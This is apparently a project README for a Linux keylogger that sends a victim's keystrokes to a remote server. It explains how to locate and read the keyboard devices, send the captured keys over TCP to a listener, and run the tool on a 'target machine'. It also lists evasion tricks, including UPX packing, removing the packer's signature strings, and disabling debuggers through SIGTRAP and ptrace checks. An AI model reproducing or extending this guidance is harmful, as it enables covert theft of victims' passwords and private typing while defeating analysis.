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4 k3yl0gg3r f0r r341 h4x0r5 !!1

Diagram

Credits

Made in collaboration with:

How can I write one of my own ?

There is many steps to do a project of the sort. First, you will need to find the victim's keyboard of course ! For this, I invite you to check on your Linux install the directory /dev/input/by-path/ and you should see a symlink ending with kbd. That's your keyboard. You can see that it points to an event in the parent directory. You should be able to find this event using the readlink() function. You can read my code in logger/sources/get_keyboard.c to check how I did it. :)

You can also take into account that there might be multiple keyboards, because the victim has a USB keyboard plugged in, for instance. To circonvent that, I chose to store every file descriptor matching the description of a keyboard, and use the select syscall to find one when I can read on one of them. I invite you to read the man page of select for more information about this.

Once you have found the keyboard(s), and opened it (or them), you will to store your logs somewhere, right ? For tests purposes, I just added the IP of a cheap VPS in a #define, and set up the server part there. For the socket creation, I used the TCP Protocol, and just used connect to connect to my distant server. I did not do anything else, as I have not implemented any Remote-Access functionnality, and it just sends data forever. I also set up a log file, in /tmp/ for testing purposes.

Now, let's go over the fun part: the logger in itself ! You will need to get a char array containing all the keys that can be typed. It is defined in /usr/include/linux/input.h on my machine, but it can be different for you. Next, you will use select to check when you can read new keys, or just call read until the return value is -1, if you only have one keyboard.

At this point, you have your basic keylogger, it is absolutely not obfuscated, does not handle SHIFT keys, but this is a good base. Here are a few ideas of things I implemented, or want to implement:

Obfuscation

  • using fancy gcc flags such a -s -static to remove some symbols.
  • using the UPX packer to compress your binary and remove unecessary section headers (you will need to compile with -static)
  • implementing a sigaction that renders SIGTRAP useless, so that debuggers like GDB do not work
  • check if ptrace is currently called on your program, to disable debuggers like GDB
  • create a simple program that will remove the strings from the compressed binary indicating it has been packed with UPX

Features

  • support non-QWERTY keyboard layouts
  • set up a wrapper around the time where you write logs, by nullifying SIGPIPE when writing, so that it won't abruptly fail
  • support SHIFT keys
  • daemonize the program (see ./logger/sources/main.c)
  • basic XOR encryption (upgrade to SSL if possible)

How do I use the keylogger ?

to compile, just launch the compile_logger.sh script like so:

# installing UPX packer for Ubuntu
sudo apt install -y upx && sh compile_logger.sh

To launch the keylogger, you will need access to the target machine, and from there, start the program. You will have to pass the listener's IP like so:

./k3yl0gg3r ${SERVER_IP}

Server

pip install -r requirements.txt && python3 ./server/TCP_handler.py

Output will be stored in .logkeys.csv